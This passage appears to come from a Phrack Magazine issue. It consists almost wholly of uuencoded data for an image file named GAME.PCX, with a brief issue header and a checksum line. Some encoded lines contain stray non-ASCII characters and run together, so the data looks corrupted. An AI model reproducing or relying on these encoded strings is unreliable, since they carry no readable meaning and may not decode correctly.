M/CG!_'/!\\[______]/_P?S2_\'^!\'_AL(_P?\//\'F#X0>!,'^!\'"#\(>+

M/@;!Y\'WSO______T__!Y]+_P<^'Q?^/PO^?P>]^!\'_#\'^#Q\//@?!Y\__(

M_____]/_P>/2_\''A\K_P?X/P?^/P?X_OQ]^!\'WS_______T__!^]+_P>`', MRO_!_'_8_______F_\'P?\K_P?S9_______F_\'\R__!_'_8_______R_\'^% MV?_._\'/______W_SO_!S\3_?\7_?______R_\[_P<_#_Q\_Q?\_______+__ MT?_!_CX_Q/_!_C______\O_/_\']P?_!_#Y_Q/_!_C______\O_._\'SP?#!E M_\'\/''#_\'XP?Y_______+_SO_!\\'@?\'X/"#!^&/!_\'P?##!^&'!]\'_* MP?'!_\'\P??!^'_!\/_____G_\[_P>/!P!_!^!P`>`/!_\'@#@!X`<'GP<\`G MP?_!_`/!^!_!X,'_0______E_\[_P<>/'\'^PAXXP=/!_\'##@88$,''C@!_C MP?P#P?`'`#X#_____^7_SO_!QX\?P?["'C_!]\'_P<^.#AP\!PX,/\'\!\'G6 M!PX^`______E_\[_P<>/G\'_'CX#!\+_#A\+P?X'#CX_P??!_\'OAP\_O___W M___E_\[_P<?"G\'^PCX@`<'_P?X./P'!_&<,/#_!\<+_AP^XP?S_____Y?_.? M_\'CPO_!_CY\8`'!_\'@!'\!P?AQ.``_P?'!_\'X`X#!\&#_____Y?_._\'CG MPO_!_L)\<&'!_\'@!'X!P?AP.`!_P?'!_\'P`\'@<$#_____Y?_._\'SPO_!M_,)\<,'YP?_!X,'F?C'!^'#">,'_P?'!_\'PP>'!\,)P_____^7_SO_!X\+?K MP?["?G'!^\'_P</!QGX1P?AX.'_!_\'QP?O!X<'CP?HPP?O_____Y?_._\''2 MPI_!_AX^.,'3P?^'!AX86'C"/C_"^\+''QC_____YO_._\''PI_!_PX^/`?!K M_X8&#AP!P?P^#C_!_6/!QX<?'/_____F_\[_P>_!WY_!_P_"?P?!_\'&P@<^1 M!\'^/P8_P?X'P><#!QX'P>?_____Y/_2_Y_"_P_!_\'T/P7!_P?!_,'_`,'_L MP?P'P>`!@#P!P>/_____Y/_>_\'SP__!^,'YP>#!_\'AP?/_____Y/_D_\'Q` M_____^?_________S?_________‑_________\W_________S?_________‑< M_________\W_________S?_________‑_________\W_________S?______D M___‑_\[_P=_______?_._X\/CQ_"CY_!W[_$_\'?______#_SO^`Q@`$`,($# MP@8$!P_"G\*_G[______Z/_._\'@PF##(,H`PR#!X"!@P>#!\,'QP?G"_<'Y< M_____^'_T__!^,'PP?G)\,+@8,'@RF#!X&#!X,CPP?'!^\'YP?W_____T/_:3 M_\']P?_!_</XQ/#%<&##<&!PQF#%<,3PP_C!_,'Y_____\G_[__"^\'YPOC!P MX&#"0&!`S`!@<,'XPO#!\L'PP?C!^<'Q___[__7_P=_"G\'>#@K"!L0"Q0#*; M`L(.PA^?___V_\[_P<_%_Y_!_[_J_\'?OX\?G\0/PP[#!L,$P@;*#\(?#Y__8 M_^C_SO_!QS_!_Y_!Q\'_#\'_'X_!_X_!_Q^?Z__"GX_$#\0'P@8'!@?%!L4'& MQ`^/PI_!W[___^#_SO_!Q#?!_Q^`(`_!_`\`P?\%P>`<!X#!_A\F'\'^/_#_^ MPK_"GX\/P@<&Q`3&``3"``3"#X\'P@\_G[___]?_SO_!X#'!_C^`8,'_P?`G4 M`,'_`,'@.`/!P'`L8#G!\#_Y_\'AP?G!\<'PPN#"8,,@P@`@`,(@PP##(&!PE MPO'!^?__TO_._\'O<<'^PG[!\<'_P?'!\WO!_GC!\<'XP?'"<,'D<'C!\,'F3 M?___PO_!^\'QR/#!X,I@P?!@QO#!\<+PP?'!^<+PP?'!^\'_P?O!^?O_SO_!5 M^''!_'Y_P?'!_\'SP?%_P?YX<<'XP?!\<<'\PGC!\<'F?G___\7_P?W!_\']# MP?G!_\'YQ/#"<&#"<,E@<&!P8,1P8'#!\'#!\'##\,'XP?G"_?/_SO_!P''!" M_&Y_P?!_P>/!\0'!_GYP>,'P?S#!_'QXP>?!X@=____4_\+YP?'!\&#$0`!`6 M`&#%0,H`PD``0&!PP>#"8,'PP_G!^\'_P?OE_\[_P<`SP?X.'\'@'\'/P?,#_ MP?X^8!P"/Q#"/GC!S\'F!S___]C_P]_"GQ^?"%_#G\+?'@_"#L,&`LP`PP+"& M!@(.#\'?XO_._\'/P?_!_@8?IQ_!S\'W#\'_/B<<!S\?#CY_P<_!YP<____MB M_\*?'\H/P@[(!L(.Q@\?P@^?P=^_T__._\'/P??!_@<?!\'_P<?!YP_!_S]G? MO@\_'P\^?\'/P><'/___^?^?Q(_$#P?+!L('P@\'P@_"C\[_SO_!W\'SN`<>L M)\'_PN<_P?\^9\']P?_"/\'&/GS![\'F.#___]__P?WC_\*_GX_"#\(&Q`3'* M``3._\__P?!QP>&`8<'_P>'!XS_!_GC!X<'YP?\\,\'@?,'XP>?!YGA____?R M_\'Y[/_!_<'_P?W!\</@8,,@SO_/_\'P8<'QP>#!\'_!\&?!_\'^8,'PP?C!7 M_\'@<,'@?,'XP>#!YGA____?_\'YP?_!\<'_P?S!\<'PQ/_!\\'_P?'G_\+Y] MP?'._\__P?AQP?O"\'_!^'_!_\'^8<'P><'_P>#!\&Q\P?C!\'9\?___W__!/ M^,'_P>#!_GQAP>#!_\+SP?_!\<'\8,+\P?C!]_3_VO_!^,+_P?'!^'_"_\'X+ M?___X?_!^<'_D'X_0\'`P?_"X<'G`,'^`,',?#@']/_B_\'^/___X_^>'A_"( MG\'_P</!X\'''L'_AXX^.`_T_______(_Q\>'X^?P?^#P>'!QSY_P<\./CN_N M]/______R/^?'@_"C\'_A\'C1SY_P<^.'AO!W_3______\;_P?G!_Y^<PH^`< MP?^‑P>8'?G_!SXP<.`_T_______&_\'YP?^_N`?!_\'AP?^`P>`'?G_!Y\',L M`#`O]/______QO_!^<'_P?[!\`/#_X#!XH9^?\'GP<C!P'#U_______&_\'YE MP?_!\'#!X\'_P?G!_W!QP>)X?\'GP?C!X'#U_______&_\'YP?^`<<'CP?_!I MP<'_.&/!QA#!_\'/P<S!PC'U_______(_X‑_P??!WX(_/B>'`\'_P<^.P<<8% M#_3______\C_C\/_C\)_/\'/!\'_P=^/P<\\#_3______]'_C\7_#_3_____: M_\;_P?W__\;______\;_P?G__\;______\;_P?G__\;______\;_P?G__\;_` M_____\;_P?G__\;_________S?_X_\'O_____]/_^/_![______3_______&G M_\']___&_______&_\'Y___&_______&_\'Y___&_______&_\'Y___&____U M___&_\'Y___&_________\W_________S?_________‑_______&_\']___&Y M_______&_\'Y___&_______&_\'Y___&_______&_\'Y___&_______&_\'YQ M___&_________\W_________S?_________‑_________\W______\;_P?G_I M_\;______\;_P?G__\;______\;_P?G__\;______\;_P?G__\;______\;_W

MP?O__\;_________S?_________‑_______&_\']___&_______&_\'Y___&>

M_______&_\'Y___&_______&_\'Y___&_______&_\'Y___&_______&_\'[S M___&_________\W_________S?_________‑_______&_\'Y___&_______&V M_\'Y___&_______&_\'Y___&_______&_\'Y___&_______&_\'[___&____S M_____\W_________S?_________‑_______&_\'Y___&_______&_\'Y___&U

M_______&_\'Y___&_______&_\'Y___&_______&_\'[___&_________\W_B

M________S?_________‑_______&_\'Y___&_______&_\'Y___&_______&'

M_\'Y___&_______&_\'Y___&_______&_\'[___&_________\W_________;

MS?______QO_!^?__QO______QO_!^?__QO______QO_!^?__QO______QO_!K M^?__QO______QO_!^?__QO______QO_!^___QO_________‑_________\W_R M_____\;_P?G__\;______\;_P?G__\;______\;_P?'__\;______\;_P?G_W M_\;______\;_P?G__\;______\;_P?O__\;_________S?_________‑____= M___&_\'[___&_______&_\'Y___&_\[_P?W___;_P?'__\;_SO_'<,+P<,7PV MP?G!_,+Y___D_\'Y___&_\[_0,X`0&#"<,'QP?G!_\'[___@_\'Y___&_\__Q MPM_#G\'?'@\?Q`[(`@`"!@(&`L(&PPX/PA\/'@\?P?^?O___S/_!^___QO_:\ M_Y_!_Y^/#Q_$#\(.PP8$!@0&!`8$Q0;##L,/'P\?G\'_O______+_^3_G[^?_ MPX_'#\0'P@8'Q0;"!P\'Q@_"C\*?_____\'_]/^?PX^.#L,$Q``$PP#$!`X$1 M!P^_C\'/]/_!^___QO_^_\']PO'!X<'@PF`@`,,@PP`@P@!@(,)@P>#!X<'PA MP?'!^>O_P?G__\;____#_\'YP?''\,+@PV!`PF#"0,1@Q?#!^<'XP?G!_>+_0 MP?G__\;____1_\'[P?_!^,3P<,'PQW#%8'!@PG!@<,3PP?C!^</XP?G/_\'QO M___&____WO_!^\+_P?C!^\/P<,)@PT#&`$``PT!@>,/[P?_!^\?_P?G__\;_! M___H_\/?GQ["!L,"`,("P@`"`,("PP8.#Q\.'\'?'Y/!WY_!_\.?P=_^____W M\?_"G\</#LH&`,<&P@[&#Q^?OY_R____^?_"G\,/Q@?%!@?*!L,'#P?'#X\/F MCY_G_______&_[_!_\._PO_#OY^/AP;#!,T`!L('P@\?P[_?_______3_\/], MP?'"\,+@PV#&(,4`Q"#"8,+@P?'#^=?______]__P?O#_\'YQ?#"X,1@0,=@0 MP>!PQ/#!\<[______^;_P?W!^<'_Q/C%\,‑PR&!PSO______\__"^\'YP?C#L M\'!@PD#._______]_\'?SO_________‑_________\W_________S?______S M___‑_________\W_________S?_________‑_\__P=]_______O_SO_!_L(&& M#W______^?_._\'^P@8'?______Y_\[_P?S"_\'^?______Y_\[_P?S"_\'\A M______K_SO_!_,+_P?S_____^O_._\'\PO_!_/_____Z_\[_P?S"_\'^?___' M___Y_]'_P?Y_______G_T?_!_G______^?_2_W______^?_._\']PO_!_G_#@ M_Q^`/Y_$_\'//\'_O______J_\[_P?W"_\'\PO_!^,'_/P`_O\'GP?_!^,'_.

MP>`GP?`AP?_!_L'AP?_!\______E_\[_P?S"_\'\PO_!^,)\('Z_P>/!_\'XV MP?_!P$'!\`'!_\'X`,'^P<#!_\'OPOC!_\'QPO_!^<+_P>#!_\'PP?/!\/__` M___5_\[_P?S"_\'\PO_!_,)\>'Y_P?/!_\'P?\'@8<'P<<'_P?!PP?Q@?V_!& M^'A_P>'!_G_!\,'_P?Y@?\'P<,'P?______4_\[_P?W"_\'^PO_!_#Q\?\''I M'\'CP?_!\'_!Q\'PP?'"_\'@P?C">!\'P?AX?\'AP?P/P?#!_YX`!\'@`,'`F M`\'_P?G_____TO_1_\'^?\+_#'S!_\'''\'GP?_!\A^/P?C!\\+_P>/!_CC!5 M_P\'P?@\'X'!_@_!\#_"'X?!PY_!PY#!_\'YR/_!_G_*_\'/___\_]'_P?Y_V MPO\,P?S!_\'''\'GP?_!XQ^/P?W!Q\+_P>?!_SS!_P\'P?@\'X/!_@_!\,,?Y MPL?!_\''P?Q_P?W(_\'^?\K_P<_(_\'?___S_]+_?\+_A\+_P></P>?!_\'G= M#X>#P<>?P?_!Q\'_P??!_X<'P>`^#X/!_@?!\,(/'\'GP<?!_\''P?X_P>%_C M#\'_P>^_P?_!S\'_P?Y_RO_!Q\C_P<^?P?\____P_\[_P?W"_\'^?\+_@\']M MP?_!YQ_!Y\'_P></AX'!XQ_!_\''P?_!\<'_P<<#P>!\'X'!_(?!\`_"'\'Q) MP>?!_\''P?P_P>!^!\'_P>0_O\''P?^>?\K_P<?(_\'/G\'_/___\/_._\']; MPO_!_,/_P>'!^,'_P>,?P>/!_\'CC\'``\'P`<'_P>?!_\'QP?_!XP'!X'@/C M@<'XP>'!\,''GS_!\<'AP?/!X\'\?\'PP?@AP?_!X#\!@'P`POG!\#_!X,'_G MP?PCP?#!_\'PP<?!_\'YQ_^_RO_"\=G_P?G__\S_SO_!^<+_P?S#_\'CP?C!A M_\'R'\'CP?_!X8_!P`/!\&'!_\'GP?_!\<'_P>,0P>!XP<8!P?#!X<'PP>/!R MWG_!\,'@8\'CP?Q_PO#!X<'_P>#!W@$@?$#"\<'P?\'`P?_!^`'!X&?!\$/!P M_\'@P?_!X<'XP?G!]\W_P?'!^]'_P?Y_QO_!\<;_P?S"_\'[___"_\[_P?C"$ M_\'\P__!X\'XP?_!\W_!\\'_P>`/P>#!\<'PPO_!Y\'_P?'!_\'C,,'@>,'@$ M<<3P/G_!\,'@8<'CP?Q_P?C!\<'XP?_!X\'N/'XX<,+QP?#!YG!_P?AQP>!AM MP>`#P?_!X'Y@P?!P8'/!_C_!_\'\P?'!^'?!\,'_P?#!_\'SP?'!_\'XT/_!M M_L?_P?'&_\'X?\'_P?'!\___P?_._\'YPO_!_L/_P>/!^,'_P>,?P>/!_\'`& M#\''PO/"_\'GP?_!\<'_P<,0P<!XP<(QP?#!X<'PP?$>/\'QP>`#P</!_'_!* M^<'QP?G!_\'GP<X>?QC!^,+QP>/!SCQ_P?C!\<'@0<'`!\'_`!X`<,(``\'.4 M#\'_>`'!^`?!P'_!P,'_0\'@P?O!\'_!^<;_P=_/_\'CP?_"S\/_P?A_P?_!V M\\'GQ/_!Q\7_P??U_]'_P?Y_PO_!Q\'^/\'''\''P?^&!X_!^\'SPO_!Q\'^A M,\'_AQP.>$(1P<`!PO#"'\'YP<?!_\''P?X_P?G!Y\'\P?_!S\'''C\‑P?Y[Y MP?F'P?["'\'_P>'"XX_!Q\'_#XX>,'!!P<./#\'_'@#!\`>"#P8^`\'`P?/!1 MP`\`/\'^`\'"#X(?P?\'P?X/P?X?P__!W\'_P=_#_\''P?_!SX_#_\'XPO_!& M\\''Q/_!W\7_P>?U_]'_P?Y_PO_!Q\'^'X\/P<?!_\(/C\'_P>?"_\''P?XYP MP?^/'`XX0`'!P`'!\\'\#Q_!^\''P?_!Q\'^/\'YP>?!_<'_PL\>/PW!_G_!( M^8_!_@\?P?^!P<?!YX_!S\'_#XX^*<'AP>/!YX\/P?\>#&/"A\(/'@_!P\'G! MAP\&/\'^`\'`#X`/P?\'P?X/P<X/G\'??P_!_P_"_Q^'P?^/#\/_P?E_P?_!3 MX\'/RO_!Q\S_'\C_P>_!_\'/W?_/_\,/?\+_P<?!_P</AP_!_Q_!QX_!_\'G& MPO_!Y\'^/C\/'@X_P>`CP<<.P?/!_@\?PL?!_\''P?X_P?_!Y\+_P<_!QQX_R MC\'^>\'_C\'_!A_!_@/!Q\'CC\''P?\/A@X[P>/"YX\/P?\>?F.?CX</#C_"O MY\*'#Q_!_P?"AX\/P?X'P?<'P<<'PH\>!\'^!L'_P>X/A\'_!X8?A\'_P>`_< M!\'CPL<_PO_!SX_!_X_"_X?,_P_(_\''P?_!S]W_SO_!_``$`,/_P<?!_@`//

M@`_!_A_!XX_!^<'CPO_!X'P\/P\\'GC!X''!Q\'\P?'!_,(?PL?!_\''P?Q_+ MP?G!Y\']P?_!S\''/C^‑P?YQP?F/P?X`/\'\`<''P>.?P<?!_Q_!Q``YP?'". MXX\?P?\\P?QP/X_!QQ\<P?_!X\'QC\''PA_!_\'PPH?"'\'\/,'AP</!P0>/Y MCCP`P?P`P?_!X`>!P?\'@!\!P?_!X#P'P>'!Q\'`/\'\P?^/@'\'P?_!_`?"9 M_\''P_^/O\3_#\C_P<?!_\'/P__!Y]G_SO_!_<'PP>#!X</_P>/!_\'@P?_!B MX#_!_W_!\<'OP?#!X"'!_\'X`,'\`#_"/'C!\,'QP>/!_,'PP?P?``/!X,'_S MP>'!\,'_P?G"\<'_P>?!QSQ_*<'XPO'!Y\'\?\'_P?#!\<'CP>&?P>/!_[_!! MP"#!^</QP<\_P?\XPO@'P<?!X@`(P?_"\<'?P>/"/\'_P>#"YS^?P?C!_,'AL MP?#!X\'AP>>./,)XP?#!_\/AP?_!PX$/.,'_P?!P8<'QP>/!P"S!^'G!QX!\P M`,'_P?`!P>`_@'S!_,'P``/!^"_!X'P'P>#"_\'GQ/_!X\7_P>/$_\'YP?_!# M^<'QT?_/_\'YPO'%_\'PP?_!\,/_P?/!_\+P8<'_P?@`P?P`?WY\>,'PP?'!P MY\'\P?#!_#X``\'@<<+@P?_"\,'QP?_!X\'&/'XXP?C"\<'GP>1_P?_!\,'Q8 MP>/!X<'?P</"_\'`<</QP?/!S\'_P?YXPO@#P<?!X`!XP?_"\<'?P>/"/\'\= MP>#!Y\'B?\'_P?C!_\'CP?#!Y\'QP>?!_GS!^,'PP?C!_\'CP>'!Y\'_PL?!7 MW'Q_P_#!\<'CP</!Q'AQP<>`>'#!_\'@0<'`'X!XP?S!\``!P?`'P<!\!\'@L MP?_!_$'!^,'_P?C!]\'@PO_!\<+_P>'$_\'PP?_"\='_X/_"^<'_P?[!\<'_) MP?#"_\'^P_G!_\'\P?'"_\'P?\'P8,'@8<'_P?AX8<'_P>!^?W!\<,+PP>#!! MYGQ_PO#!X\'QP??!X\+_P>Q\P?G#\<'_?\'_>,'XP?_!\<'GP?)XP?C!_\+QW MP?_!XWX_P?A@P>?!X'_!_\'XP?_!X\'XP>?!\<'B?GC!^'#!_,'_P>?!\<'G5 MP?_![\'_P?QX?\'XP?'!^,'PP>/!_\'B<''!Y\'^>,'XP?_"X<'PP>;">,'\Y MPO#!\<'PP>'!X#PG8'_!_&#!\'_!^&'!X'_!_\'@P?AAP>#!^'_!_\+PP?_!? M\,'XP?_!_,__YO_!^\3_P?O#_\'[PO_!\'_!X`'!X$/!_\'X>`?!_\'`PC\`( M?$!X0<'@#SA_P?#!X,'CP>'!PX/!_P\,?'G!\<'AP?/!SS_!_SC!^'_!\<''? MP>,_P?C!_\+QP=_!X\(_P?@@P<?!XG^?P?C!_\'CP?C!Y\'QP>(^>,'\<<'\V MP?_!Q\'QP>?!_\'/C\',`'_!^,'SP?C!\<'#/\'"<''!QSXXP?C!_\'#P>,?) MP<9_>,'\PO#!\<+A@8\/"#_!^'#!\'_!^$/!X`/!SX!X`<'`P?`?P?_!P,'@M?\'@>`/!^'_.__O_'\'_P<=_P?_!Q\'_!GX'P?H?@G_!_`!'P>/!P`_!_P`?( M`'O!^\'CP?./'\'_'GQCP?.'CQ\<?\+SC\''PA_!^,'PPL<?G\'\P?_!Q\'XR MP<?!X\'B'AQ\.\'^P?^/P?/!Q\'_P<^/C@`_P?C!Y\'\P?/!QQ_!QQ`'AQ\\5 MP?S!_\'/P<<?AC_"_'/!^,'[PL/"CQ\/O\'\?GC!_\'SP=/"PX\>'%'!P\'CE M#\'_!C!_P>!X`\'P#\[__?^/PO_!S\'_#\'_#\'_'X=_P?X/P<_![\'`#\'_E M`!\!?\'_PN>/#\'_'GQC!X?"#QX_P>?!XX^'PA_!_,'PA\''PA_!_']'P?_!! MS\'GP>`^''P_P?[!_X_!Y\'/P?^/#XX/?\'YP>?!_,'CP<<?AP8'CQ\]P?S!6 M_X_!QQ^&/\'\?#/!_\'[@P/"C\(/P?_!_<'^/\'_P>?!_\+'CQX=?\+'C\'_G M#CW!_\'YP?@#P<8/SO_]_\'/TO\//X_#_\'WPH_!_S_!_WX'A@^&'P?![\'WM

MP<</PA_!_@('P<?"#\'^'B?"QX?!ZG\>?C_!_L'_A\'GP<_!_\./'\+_P>?!2 M_\'CP<</A\('A\(?P?[!_\'/P<<?P<8_POXWP?_!\X('PH\/AS_!_\'^+\'_V MP>?!_\''P?>/P@_!_\+'O\'_GC_#_\'GP<>'SO_]_X_2_X_'_X_!_S_!_\'\Q M!X`?@#\#P?C!]\'@'S\?P?P`!\''AA_!_!S!\8/!QX?!^'X\P?P\P?S!_X?!= MY\'/P?_!SX^./\'_P?G!Y\'\P>'!QQ^/P@>'/SS!_,'_P<_!YQ_!QG_"_,'SF MP?W!\8`'PH\/P<`_P?G!_C?!_\'GP?S!Q\'SC@01P?_!Y\'P/\'_P?P]P?_"8 M^<'QPL?.____T?^_S?_!Q<'_P?W!_\'[P?W!_\'XP__!_##![\'GP>`_P?\`# MP?`#P>`'P?C!_GC!_'A@P?_!X,'CP>?!_\'GC\',.'_!^<+PP?'!X\*/@P?!O

MQS\XP?C!_\'#P>&?P>9_P?C!_,'QP?C!\<'CP?^/AS_!^#_!\<'\<<'_P>'!T M^,'CP?'!Q`!QP?_!X\'P+\'_P>!YP?_!^<'QP?#!X,'CSO___]__P<?&_\']I MQO_!]\'PPO_!X<'X<\'@?\'XP?[!^,'\P?A@P?_!\$?!Y\'_P>/!_\'>,,'_) MP?'!\,'AP?'!X\'`/\'#A\''P?YXP?#!_\+CG\'&?GC!^,'QP?#!\<'CP?'!= MW\''PO]_P?'!^''!_\'QP?#!X\'QP<1PP?'!_\'CP?A'P?\`><'_PO'!\,'`S M`\[____T_\'@P?_!^,'_P?W!_L'\<,'_P?A_PO_!\\+_P>#!_\'YP?AAP?'!0 M\\'P?\'WP?_!Y\'^?'#!_\'P8\'@/G!X<,+PP_'!_\'GP?]_P?_"^'G!_\'Q5 MP?#!\\'QP>1_P?#!^<'SP?_!X\'\<'G!_\'YP?'!^,'@P?/.____W__!S]3_\ MP>?!_\'YQ/_!\,'_P?S#_\'SPO_!X<+_P?X#P?O!_\'P?\'_P=_!S\'_?`#!O M_\'@`\'`'X!\`,/QP>#!PY^'P@\?POAYP?_!\<'PP>/!\\'.?W#!^<'CP?_!' MX\'^?'G!_\'YP?'!^<'#S_____3_P<?!_\''P__"_M;_B,'_P?X?P<8?@\'^F M`L/_P?H/GX\/`A_!_@/!^\'_P?@#P<('CQXX$\'GPL?!_AX[P?_"^\'_P<_/R M____]/_!S\'_A\/_P?P/UO^<Q/]_PO\/P__!_@^?CP^$/\'^!\+_P?X'P<`/: MCPX^!\'GP<</P?\,'\3_PL_.____]/_![\'_P<_#_\'^!];_#]/_C\/_#\'O; M#X^'P?\'P>?!Y@_!_P8??\'_?\'_P<<'SO____O_#]7_P?P#U_^_P?^_C\'G> MP?^/P?_!_!_!_P<<?\'\?\'_P?`/SO______TO_!_`':_\'/RO_!_<+_P?@O# MSO______[O_!S]W______^W_P?Y_W?_________‑_________\W_T/\_Q__!3 MS______S_]#_/\?_P<______\__/_\'^/\?_P<_!_\']R/_!_G_!_\']SO^?O M_____];_S__!_'_'_\'OP?_!^<C_P?S!_\'YP?C,_\'^?[W_____UO_._\'@G MP?QX9\'PP?_!X\+_P?#!Y\'QP?#$_\']P__!^,'_P?C!_<S_P?Y^?,/_P?'![ M_\'GPO_!^<7_P?[!]______&_\[_P>!\>&/!\'[!X<+_P?!OPO#!_L/_P?C#A M_\'XP?_!\,W_P?["?,/_P?'!_\'WPO_!^<7_P?[!]\7_P?[_____SO\#'#AAW MP<`<`,+_P>`'`'!X`\+_P<!\`<'\`'_!\'C!\`!?P?#"_\'#P?A_P?C!_\'X` MP?_!_'_#_\'SP?_!Y\+_P?G%_\'XP>/![\'_P?S"_\'\?____O_._P\>.$.&R M'AK"_\'"#P80?`/"_X(>`<'^`'_!\#[!\@(/P<)_P?\#P?(/P?X?P<9_P?X?/ MP?^?P?^7P?^/PO_!^\7_P?[!Y\'?P?_!_L+_P?Y____^_\[_#XX_AP^>/G_!1 M_\*/'AQ]P?O"_X\.#'P,?\'\/&`"!XX?P?X,P>`#P<(/AAX\#C\'P?P'P?^&U

M'X?!_\'^#\*_P?_!_<'GP?_!S\'\?\'_GC_+_\'/RO_!Y___Y__._P^//X</0

MGAY_P?_"CYX?POO"_X\.'G]^?\'_P?[!XX.'CQ_!_@_!X@/!QP>''CX./@?!. M]@?!_X8/A\'_P?X/GQ]_P?_!YX^'P?X_P?^.?X_!_Y_(_X_*_\'GQO\____@% M_\[_#XX\`1_!_`!_P?\/P<^`&,'@`<+_P?X,?''!_'_"_,'SP>/!YQ^?P?X_O MP?'!\,+''Y["/L(\8\''P?_"APP\P?`'CAY_P?'!YX\`,#_!_@!^`<'\!\'/1 MP>^`!'^/P?^_C\C_P?S%_\'SPO\____@_\[_O\',>`&_P?@`PO^/P>_!X#C!_ MX`#"_\'@/,'X<<'XP?_!\,'XP?'!X<'B'Y_!_#_!\<'PP</!XC_!_L)\>,'X[ MPN'!_\'!P>8X>,+AP<X\?\'QP>&/`'!_P?@`?`#!\`/!Y\'C@"!_`<'P/X/!C M\,+_P>'$_\'XQ?_!\<+_/___X/_/_\'$<,'QO\'XP?'"_\'?P>8`>,'PP?'"@ M_\'`.,'X<<'XP?_"\,+SP>(`'\'^`,'QP?#!P$)_P?["?'#!\&/!\<'_P<?!K MX'APP>/!\<',','_P?'!X<'./'#!_\'XP?!XPG#!\,'#P>/!P`!\8,'P1\'!V MP>!_P?Q`P?A_P?[!P,'P8<'SP?!_P>'!\,'X___B_\__P>QPP?'!_\'XP?O#N M_\'N<'C!\,'QPO_!X#C!^''!^,'_PO#"\\'B('_!_F#!\<'PP<!@?\'\PGS"U M<&/!\<'_P>?!X,)PP>/!\<'L.,'_P?'!X<'L/,'XP?_"^,)X<,'PPN/!\#!X< M<,'PPF/!X'_!_'#!\'_!_&#!\&'!\\'@?F#"\'___^'_SO^#'#'!X8>8?,+_! MP<_!QCPXP?'!^<+_'QQX<<'X?\+XPO/!XQG"_\'PP?'!^,'`?G_!_GY\<`#!5 MP\'SP?_!S\'@`##!P\'QP<08P?_!X<'CP<\!P?C!_\'YP?QPP?YSP?O!Q\'CO MPI\8P?ACP>/"S\'_P?C">'_!_,)X<<'CP<`>$,'@P?!#P<Y____?_\[_!AXPN M`8\>/L+_CPX>&,'SP_\?''YQP?Q_POC"\\'G'\+_P?QSP?B/GA_!WCY^.`_!^ MQ\'WP?^/P<8`.,'/P?/!S@S!_\'CP>>/`L'XP?_!^<'^><'^`\'_P<_!Q\(?; M&,'\9\''CP_!_\'\?GA_P?Q^/'W!QX>>'G/!\X>/?___W__._P8_/`&$'@?!$ MY\'_P<8/`!P\!\'/P?\.#'X\"'_"_,/G#Q_!_CXCP?'"SQ\.PCX\P?_!Q\'W( MP?^/P<8?P?S!S\'CP<0‑P?_"YX_!Q#S!_\'YP?XYP?X#P?^/P<?"'QP`9\''F MCX?!_\']P?X]P?_!_,'_/<'\9X^./WO!\\'_C___X/_._P<_/@?!QA\'P>?!M M_\'&#P8>/@?!S\'_!@Y^/@)_PO[#YP\?P?X>`X/"QP\.PS[!_P?!Q\'_CX8?Q MP?_!Q\'CP<6#P?_!Y\''C\'./\+_P?X[P?X'P?^/P<?"'QX&9\''CX<_PO\_H MP?_!_L'_/\'^1P\.?\'WP>.?C___X/_._P_"_[_"_X_!\\+_OX^_?@_!Q\'_= M@`S!_GX`?\'\/,+WP>>`'\'^`,'P`\'@!X0>/GP\','CA\'_AX8>.,''P</!# MX<'!P?_!X\'GCS\\P?_!^<'^.<'^(\'_PL?"'Q@/P>?!QX_!_!_!^<'^.<'_, MP?S!_SS!_&>`#'_!\\'T#X___^#_SO^_QO_!\\'_P?W%_\'GP?_!X<'MPOP@X MP?_!^'C"\\'WP>!_P?X`P?`!P>`'P<##?'@@P?!#P?^!AC!PP>'!X\+AP?_!\ MX<'CCGPXP?_"^'G!_''!\<''P>._/SC!_\+CP<_!^#_!^<'^><'_P?C!_SC!` M_,'C@#C!_\'QP?@CP<___^#_U?_!\\?_P>?,_\'XPO_!\\'PP?_!\,'_P?#"F M_L+\0<'P8\'_P>!_P>#"\$/!\<'AP?_!\<'CP<XP>,'_P?AP>'#"\,'AP</!K M_[^XP?C!\\'CP<_!_X_!^,'\>,'_P?C!_'C!_,'AP=O!^,'^P?'!_\'CP<__G M_^#_U?_!\]3_P?G#_\'QP?_!_,'_P?C"_\'^P?_!\<'X<\'_P?!_P>#!^,'P$ M?\'QP>'!_\'QP>/!_F!X?\'X<'APP?!AP>#!P\)^>,'XP?/!X\'OP?]_POAX1 MP?_!^,'\>,'XP>/!_\'XP?S!\<'_P?/![___X/_N_\'QU?_!\<+_P<#!_'_!( M_@!^`<'X`\'@`\'?/SP!P?/!X\'#P<`_P?QP>,'_P?S"<'C!X\''G'AQPO/!U MS___X/_N_\'SU?_!^<+_P<_!_W_!_P_!_P?!_P_!\`^?'QX#P>?!Q\'#@!_!2 M_@#!^<'_P?X`>!/!QX<>',+SP<./___@____Q?_!_G_/_X_"_\+/?\'_#\/_N M!\'^!\'GP<0?!\'\?`^//___W____\;_?\__P=_&_X_#_X_!_P_"YQ^'PO["_

M#S___]_____D_\'GQ?^_'___X/___^3_P>/&_S___^#____D_\'C___G____5 MY/_!]\;_?___X/_________‑_________\W_________S?_________‑____U

sum ‑r/size 20457/59873 section (from "begin" to last encoded line)

Paid Advertisement (cont)

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 7 of 28

****************************************

BIG FUN

(cont)

section 2 of uuencode 4.13 of file GAME.PCX by R.E.M.

M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_________‑_________\W_________S?_________‑_________\W_R M________S?_________‑_________\W_________S?_________‑________] M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_________‑_________\W_________S?_________‑_________\W_R M________S?_________‑_________\W_________S?_________‑________] M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_\W_P?S!\<'SP?_!^______Z_\W_P?QPP?#!^,'PP?G!^,'[5 M___)_\']___M_\W_P?S"0,L`0&!QPOO_____[/_._Q^.P@;"`L0``L(``@`"/ M!@<>#AX.'A^?O\'?P?_!W______A_]3_O\'_G\'_P=_%#PX&PP[#!@0&#L,&\ 